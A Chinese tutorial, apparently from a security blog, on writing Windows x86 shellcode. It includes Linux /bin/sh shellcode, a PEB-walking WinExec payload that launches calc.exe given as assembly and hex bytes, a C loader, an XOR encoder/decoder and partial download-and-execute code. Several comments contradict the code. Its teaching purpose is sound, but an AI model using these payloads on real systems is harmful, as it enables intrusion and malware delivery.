Window向之x86 ShellCode入门
字数 1766 2025-08-07 08:22:23

Windows x86 ShellCode 入门教程

0x0 前言

ShellCode是一组用于在受控机器上执行命令的指令集,本文将从基础开始讲解Windows下x86架构ShellCode的原理和实现方法。

0x1 汇编基础

0x1.1 汇编语言概述

汇编语言是一种低级语言,特点:

  • 直接对应机器指令
  • 不同设备有不同的指令集
  • 需要通过汇编程序转换为机器码

x86/amd64汇编的两大风格:

  • Intel风格:Microsoft Windows/Visual C++使用
  • AT&T风格:GNU/Gas使用

0x1.2 寄存器知识

IA32处理器中的8个32位通用寄存器:

  • EAX:累加器
  • EBX:基址寄存器
  • ECX:计数寄存器
  • EDX:数据寄存器
  • ESP:堆栈指针
  • EBP:基址指针
  • ESI:源变址
  • EDI:目标变址

0x1.3 常用汇编指令

  • 数据传输:mov, push, pop, lea
  • 算术运算:add, inc/dec, imul, idiv
  • 逻辑运算:and, or, xor, not, neg
  • 移位操作:shl/shr
  • 控制转移:jmp/je/jne/jz/jg/jge/jl/jle
  • 比较:cmp
  • 函数调用:call/ret
  • 字符串操作:lodsd

0x1.4 函数调用约定

x86三种常用调用约定:

  1. Cdecl(C调用约定):

    • 参数从右向左压栈
    • 结果保存在EAX/AX/AL
    • 调用者清理堆栈
  2. Stdcall(WinAPI默认):

    • 参数从右向左压栈
    • 被调用者清理堆栈
  3. Fastcall:

    • 部分参数通过寄存器传递

0x2 ShellCode概念

ShellCode定义:

  1. 一组注入并执行的指令,用于控制被利用程序
  2. 直接操作寄存器和被利用程序的功能
  3. 机器代码序列,注入内存控制程序执行流程

0x3 x86 ShellCode分类

0x3.1 Linux ShellCode

特点:

  • 通过int 0x80中断调用系统调用
  • 系统调用号存入EAX
  • 参数存入EBX、ECX、EDX等寄存器

示例(execve('/bin/sh')):

global _start
section .text
_start:
    xor eax,eax
    push eax
    push 0x68732f2f  ; //bin/sh
    push 0x6e69622f
    mov ebx, esp     ; ebx指向'//bin/sh'
    push eax
    push ebx
    mov ecx, esp     ; ecx指向参数数组
    mov al, 0xb      ; execve系统调用号
    int 0x80

0x3.2 Windows ShellCode

特点:

  • 通过WinAPI/NTAPI函数调用
  • 需要获取Kernel32.dll基地址
  • 解析导出表获取函数地址
  • 比Linux ShellCode复杂

执行步骤:

  1. 获取Kernel32.dll基地址
  2. 解析Kernel32.dll获取导出函数地址
  3. 调用所需函数实现功能

0x4 Windows x86 ShellCode实现

0x4.1 获取Kernel32基地址

通过PEB结构获取:

mov ebx, fs:0x30     ; 获取PEB指针
mov ebx, [ebx + 0x0C] ; 获取PEB_LDR_DATA指针
mov ebx, [ebx + 0x14] ; 获取InMemoryOrderModuleList第一个条目
mov ebx, [ebx]       ; 获取第二个条目(ntdll.dll)
mov ebx, [ebx]       ; 获取第三个条目(kernel32.dll)
mov ebx, [ebx + 0x10] ; 获取kernel32.dll基地址

0x4.2 获取导出函数地址

步骤:

  1. 获取PE头(e_lfanew)
  2. 获取导出表(DataDirectory[0])
  3. 遍历导出函数名匹配目标函数
  4. 通过序号获取函数RVA
  5. 计算VA = 基地址 + RVA

汇编实现:

mov edx, [ebx + 3Ch] ; EDX = DOS->e_lfanew
add edx, ebx         ; EDX = PE头
mov edx, [edx + 78h] ; EDX = 导出表偏移
add edx, ebx         ; EDX = 导出表

xor ecx, ecx         ; ECX = 0
dec ecx              ; ECX = -1
mov esi, [edx + 20h] ; ESI = 函数名指针数组
add esi, ebx

Fetch_Func:
    inc ecx
    lodsd            ; EAX = 当前函数名RVA
    add eax, ebx     ; EAX = 函数名VA
    cmp dword ptr[eax], 0x456E6957 ; "EniW"(WinExec)
    jnz Fetch_Func
    cmp dword ptr[eax + 4h], 0x636578 ; "cex"
    jnz Fetch_Func

    ; 获取序号
    mov esi, [edx + 24h]
    add esi, ebx
    mov cx, [esi + 2 * ecx]
    
    ; 获取函数地址
    mov esi, [edx + 1Ch]
    add esi, ebx
    mov edx, [esi + ecx * 4]
    add edx, ebx     ; EDX = WinExec地址

0x4.3 调用WinExec函数

xor ebx, ebx
push ebx            ; 字符串结束符
push 0x6578652E     ; ".exe"
push 0x636C6163     ; "calc"
mov esi, esp        ; ESI指向"calc.exe"

push 10             ; SW_SHOWDEFAULT
push esi            ; "calc.exe"
call edx            ; 调用WinExec
add esp, 0xc        ; 清理堆栈

0x4.4 完整ShellCode示例

.386
.model flat,stdcall
option casemap:none

.code
start:
    ASSUME fs:NOTHING
    mov ebx, fs:[30h]    ; 获取PEB
    ASSUME fs:ERROR
    mov ebx, [ebx + 0Ch] ; PEB_LDR_DATA
    mov ebx, [ebx + 14h] ; InMemoryOrderModuleList
    mov ebx, [ebx]       ; ntdll.dll
    mov ebx, [ebx]       ; kernel32.dll
    mov ebx, [ebx + 10h] ; kernel32基地址
    
    mov edx, [ebx + 3Ch] ; PE头
    add edx, ebx
    mov edx, [edx + 78h] ; 导出表
    add edx, ebx
    
    xor ecx, ecx
    dec ecx
    mov esi, [edx + 20h] ; 函数名数组
    add esi, ebx
    
    Fetch_Func:
        inc ecx
        lodsd
        add eax, ebx
        cmp dword ptr[eax], 456E6957h ; "WinE"
        jnz Fetch_Func
        cmp dword ptr[eax + 4h], 636578h ; "Exec"
        jnz Fetch_Func
    
    mov esi, [edx + 24h] ; 序号数组
    add esi, ebx
    mov cx, [esi + 2 * ecx]
    
    mov esi, [edx + 1Ch] ; 函数地址数组
    add esi, ebx
    mov edx, [esi + ecx * 4]
    add edx, ebx         ; WinExec地址
    
    xor ebx, ebx
    push ebx
    push 6578652Eh      ; ".exe"
    push 636C6163h      ; "calc"
    mov esi, esp
    
    push 10             ; SW_SHOWDEFAULT
    push esi            ; "calc.exe"
    call edx            ; 调用WinExec
    add esp, 12h
end start

0x4.5 ShellCode加载器

C语言加载示例:

#pragma comment(linker, "/section:.data,RWE")

unsigned char shellcode[] = "\x64\x8B\x1D\x30\x00\x00\x00"
"\x8B\x5B\x0C"
"\x8B\x5B\x14"
"\x8B\x1B"
"\x8B\x1B"
"\x8B\x5B\x10"
"\x8B\x53\x3C"
"\x03\xD3"
"\x8B\x52\x78"
"\x03\xD3"
"\x33\xC9"
"\x49"
"\x8B\x72\x20"
"\x03\xF3"
"\x41"
"\xAD"
"\x03\xC3"
"\x81\x38\x57\x69\x6E\x45"
"\x75\xF4"
"\x81\x78\x04\x78\x65\x63\x00"
"\x75\xEB"
"\x8B\x72\x24"
"\x03\xF3"
"\x66\x8B\x0C\x4E"
"\x8B\x72\x1C"
"\x03\xF3"
"\x8B\x14\x8E"
"\x03\xD3"
"\x33\xDB"
"\x53"
"\x68\x2E\x65\x78\x65"
"\x68\x63\x61\x6C\x63"
"\x8B\xF4"
"\x6A\x0A"
"\x56"
"\xFF\xD2"
"\x83\xC4\x12";

void main() {
    _asm {
        mov eax, offset shellcode;
        jmp eax;
    }
}

0x5 ShellCode优化

0x5.1 去除空字节

原因:

  • 某些函数(如strcpy)会因空字节截断
  • 使ShellCode更健壮

方法:

  1. 指令替换:

    ; 原指令(有空字节)
    mov ebx, fs:[0x30]
    
    ; 替换为
    xor esi, esi
    mov ebx, fs:[0x30+esi]
    
  2. 字符串处理:

    ; 原指令(有空字节)
    cmp dword ptr [eax+4], 636578h
    
    ; 替换为
    xor edi, edi
    push edi
    push 63h
    push word ptr 6578h
    mov edi, [esp]
    add esp, 0Ah
    

0x5.2 ShellCode编码

XOR编码示例:

  1. 编码器:

    key = 0x5A
    shellcode = b"\x64\x8B\x1D..."
    encoded = bytes([b ^ key for b in shellcode])
    
  2. 解码器:

    jmp call_point
    
    decoder:
        pop edi
        xor ecx, ecx
        mov cl, shellcode_size
    decode:
        xor byte ptr [edi], 0x5A
        inc edi
        loop decode
        jmp short shellcode
    call_point:
        call decoder
    shellcode:
        nop
    

0x5.3 增强功能

实现下载并执行文件的ShellCode:

  1. 获取GetProcAddress地址
  2. 调用GetProcAddress获取LoadLibraryA地址
  3. 加载urlmon.dll
  4. 获取URLDownloadToFileA地址
  5. 下载文件
  6. 执行文件
  7. 调用ExitProcess

关键代码:

; 获取GetProcAddress地址
; (同前获取WinExec地址的方法)

; 调用GetProcAddress获取LoadLibraryA
xor ecx, ecx
push ebx            ; kernel32基址
push edx            ; GetProcAddress地址
push ecx            ; 0
push 0x41797261     ; "Ayra"
push 0x7262694C     ; "rbiL"
push 0x64616F4C     ; "daoL"
push esp            ; "LoadLibrary"
push ebx            ; kernel32.dll基址
call edx
add esp, 0xc

; 加载urlmon.dll
pop ecx
push eax
push ecx
mov cx, 0x6c6c      ; "ll"
push ecx
push 0x642e6e6f     ; "d.no"
push 0x6d6c7275     ; "mlru"
push esp            ; "urlmon.dll"
call eax            ; LoadLibrary("urlmon.dll")
add esp, 0x10

; 获取URLDownloadToFileA地址
mov edx, [esp + 0x4]
xor ecx, ecx
push ecx
mov cx, 0x4165      ; "Ae"
push ecx
push 0x6c69466f     ; "liFo"
push 0x5464616f     ; "Tdao"
push 0x6c6e776f     ; "lnwo"
push 0x444c5255     ; "DLRU"
push esp            ; "URLDownloadToFileA"
push eax            ; urlmon.dll地址
call edx
add esp, 0x18

; 调用URLDownloadToFileA
; (参数设置和调用代码)

0x6 总结

本文详细讲解了Windows x86 ShellCode的开发过程:

  1. 汇编基础知识和函数调用约定
  2. ShellCode的基本概念和分类
  3. Windows ShellCode的实现步骤:
    • 获取Kernel32基地址
    • 解析导出表获取函数地址
    • 调用目标函数
  4. ShellCode优化技术:
    • 去除空字节
    • 编码技术
    • 功能增强

通过本教程,读者可以掌握Windows平台下x86架构ShellCode的编写原理和方法,为进一步开发更复杂的ShellCode打下基础。

Windows x86 ShellCode 入门教程 0x0 前言 ShellCode是一组用于在受控机器上执行命令的指令集,本文将从基础开始讲解Windows下x86架构ShellCode的原理和实现方法。 0x1 汇编基础 0x1.1 汇编语言概述 汇编语言是一种低级语言,特点: 直接对应机器指令 不同设备有不同的指令集 需要通过汇编程序转换为机器码 x86/amd64汇编的两大风格: Intel风格:Microsoft Windows/Visual C++使用 AT&T风格:GNU/Gas使用 0x1.2 寄存器知识 IA32处理器中的8个32位通用寄存器: EAX:累加器 EBX:基址寄存器 ECX:计数寄存器 EDX:数据寄存器 ESP:堆栈指针 EBP:基址指针 ESI:源变址 EDI:目标变址 0x1.3 常用汇编指令 数据传输:mov, push, pop, lea 算术运算:add, inc/dec, imul, idiv 逻辑运算:and, or, xor, not, neg 移位操作:shl/shr 控制转移:jmp/je/jne/jz/jg/jge/jl/jle 比较:cmp 函数调用:call/ret 字符串操作:lodsd 0x1.4 函数调用约定 x86三种常用调用约定: Cdecl(C调用约定): 参数从右向左压栈 结果保存在EAX/AX/AL 调用者清理堆栈 Stdcall(WinAPI默认): 参数从右向左压栈 被调用者清理堆栈 Fastcall: 部分参数通过寄存器传递 0x2 ShellCode概念 ShellCode定义: 一组注入并执行的指令,用于控制被利用程序 直接操作寄存器和被利用程序的功能 机器代码序列,注入内存控制程序执行流程 0x3 x86 ShellCode分类 0x3.1 Linux ShellCode 特点: 通过int 0x80中断调用系统调用 系统调用号存入EAX 参数存入EBX、ECX、EDX等寄存器 示例(execve('/bin/sh')): 0x3.2 Windows ShellCode 特点: 通过WinAPI/NTAPI函数调用 需要获取Kernel32.dll基地址 解析导出表获取函数地址 比Linux ShellCode复杂 执行步骤: 获取Kernel32.dll基地址 解析Kernel32.dll获取导出函数地址 调用所需函数实现功能 0x4 Windows x86 ShellCode实现 0x4.1 获取Kernel32基地址 通过PEB结构获取: 0x4.2 获取导出函数地址 步骤: 获取PE头(e_ lfanew) 获取导出表(DataDirectory[ 0 ]) 遍历导出函数名匹配目标函数 通过序号获取函数RVA 计算VA = 基地址 + RVA 汇编实现: 0x4.3 调用WinExec函数 0x4.4 完整ShellCode示例 0x4.5 ShellCode加载器 C语言加载示例: 0x5 ShellCode优化 0x5.1 去除空字节 原因: 某些函数(如strcpy)会因空字节截断 使ShellCode更健壮 方法: 指令替换: 字符串处理: 0x5.2 ShellCode编码 XOR编码示例: 编码器: 解码器: 0x5.3 增强功能 实现下载并执行文件的ShellCode: 获取GetProcAddress地址 调用GetProcAddress获取LoadLibraryA地址 加载urlmon.dll 获取URLDownloadToFileA地址 下载文件 执行文件 调用ExitProcess 关键代码: 0x6 总结 本文详细讲解了Windows x86 ShellCode的开发过程: 汇编基础知识和函数调用约定 ShellCode的基本概念和分类 Windows ShellCode的实现步骤: 获取Kernel32基地址 解析导出表获取函数地址 调用目标函数 ShellCode优化技术: 去除空字节 编码技术 功能增强 通过本教程,读者可以掌握Windows平台下x86架构ShellCode的编写原理和方法,为进一步开发更复杂的ShellCode打下基础。